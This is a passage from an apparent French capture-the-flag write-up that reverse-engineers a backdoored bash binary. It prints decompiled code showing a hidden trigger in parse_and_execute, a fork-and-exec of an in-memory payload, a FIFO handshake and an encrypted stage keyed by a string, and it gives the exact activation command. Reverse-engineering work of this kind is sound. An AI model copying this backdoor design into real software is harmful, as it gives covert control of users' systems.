&lt;p&gt;Après avoir passé pas mal de temps à explorer le binaire (ça m'a probablement coûté le first blood 😥), j'ai fini par trouver un &lt;code&gt;getenv("JAKWEULOD")&lt;/code&gt; intéressant, et introuvable dans le code source originel.&lt;/p&gt;
&lt;p&gt;La fonction qui appelle ce getenv est appelée au début de la fonction &lt;code&gt;parse_and_execute&lt;/code&gt;, patchée pour lancer la backdoor. Regardons de plus près:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;backdoor_enabled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;backdoor_enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x29uLL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;memcmp_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1+2+3+4+5&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;9L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;4096L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;evalstring.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;194L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4088&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// v6 = mkfifo path from the other binary, snipped bc noisy string obfu&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;mkfifo_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;438L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;open_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;read_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;close_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;print_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;evalstring.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;511L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOBYTE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;xmmword_14F320&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_mm_loadu_si128&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;qword_14F330&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;dword_14F338&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;word_14F33C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;byte_14F33E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;backdoor_activation&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La fonction &lt;code&gt;((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9)&lt;/code&gt; fait un fork + execve d'un memfd qui contient le binaire qu'on a analysé précédemment.&lt;/p&gt;
&lt;p&gt;On atteint la backdoor en tapant la commande suivante dans bash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ainsi &lt;code&gt;backdoor_activation&lt;/code&gt; sera appelé, qui appellera encore une fonction de crypto avec &lt;code&gt;0NSlH7m8C91boiGq10NtQKq4aP7mVyJ&lt;/code&gt; comme clé. Cette fonction va déchiffrer la fonction qui vérifiera le contenu de la variable d'environnement "JAKWEULOD".&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;backdoor_activation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rbp&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rax&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rbx&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mmap_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;98323&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cryptoshit_again&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unk_12B000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;98323L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;JAKWEULOD&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mf"&gt;65L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;143&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;kk1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_mm_loadu_si128&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;xmmword_14F430&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_mm_loadu_si128&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;xmmword_14F440&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_mm_loadu_si128&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
